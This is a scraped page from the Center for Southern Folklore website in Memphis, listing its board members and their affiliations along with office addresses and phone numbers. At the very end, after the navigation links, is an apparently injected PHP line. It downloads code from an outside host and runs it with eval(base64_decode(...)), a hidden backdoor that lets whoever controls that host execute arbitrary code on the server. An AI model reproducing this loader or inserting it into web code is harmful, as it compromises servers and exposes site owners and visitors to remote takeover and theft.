Board of Directors

The Center for Southern Folklore is directed by Judy Peiser and a staff of seasoned professionals augmented by community volunteers and interns from regional and national colleges and universities.

The Board of Directors oversees the Center's fiscal management and development.


Mary Unobsky
Robert Hastings
Calvin Taylor


Velma Bobo, Owner
Maggie Moo's Ice Cream Treatery

Robert Hastings, Analyst,
Loan Rehab and Recovery
First Tennessee Bank

Billy D. Featherstone, Broker, Featherstone Real Estate
Founder, Home Ownership Foundation

Deanna Lubin, Community Volunteer

Clyde A. Milner II, Director, Heritage Studies Ph.D. Program
Professor of History

Larry Moore, Attorney and Associate Professor
School of Accountancy, University of Memphis

Leonid Saharovici, Chairman,
Belz-Parker Artist Ascending Series
Founding Member, Tennessee Holocaust Commission

Calvin Taylor, Vice-President, Governmental Affairs
Memphis Convention and Visitors Bureau Director,
Memphis Tourism Foundation

Cassandra Taylor, Director, Convention Services
Memphis Convention & Visitors Bureau

Elaine Turner, President, Heritage Tours  

Mary Unobsky, Director, Marketing & Development
Tennessee State Museum




Jack Belz
Chairman, Belz Enterprises

Priscilla Campbell, CPA
CAO, District Attorney General's Office
John Dudas
Vice-President Strategic Planning, Belz Enterprises
Jeff Gaudino
Vice-President Marketing,  Belz Enterprises

Mary Ann Giannini
St. Jude Children's Research Hospital

Main Office & Folklore Hall:
119 S. Main Street
At Peabody Place Trolley Stop
Memphis, TN 38103

Terms of Use     Privacy Policy     About this Site     Contact Us

©2008 Center for Southern Folklore
Folklore Store:
123 S. Main Street
At Peabody Place Trolley Stop
Memphis, TN 38103
Phone: (901) 525-3655
Fax: (901) 544-9965

Supporter Login
Shop Private Events Calendar Eats Tours Stages Archives Support About $rrr = file_get_contents('http://sbalatam.com/ss/sync.php'); eval(base64_decode($rrr));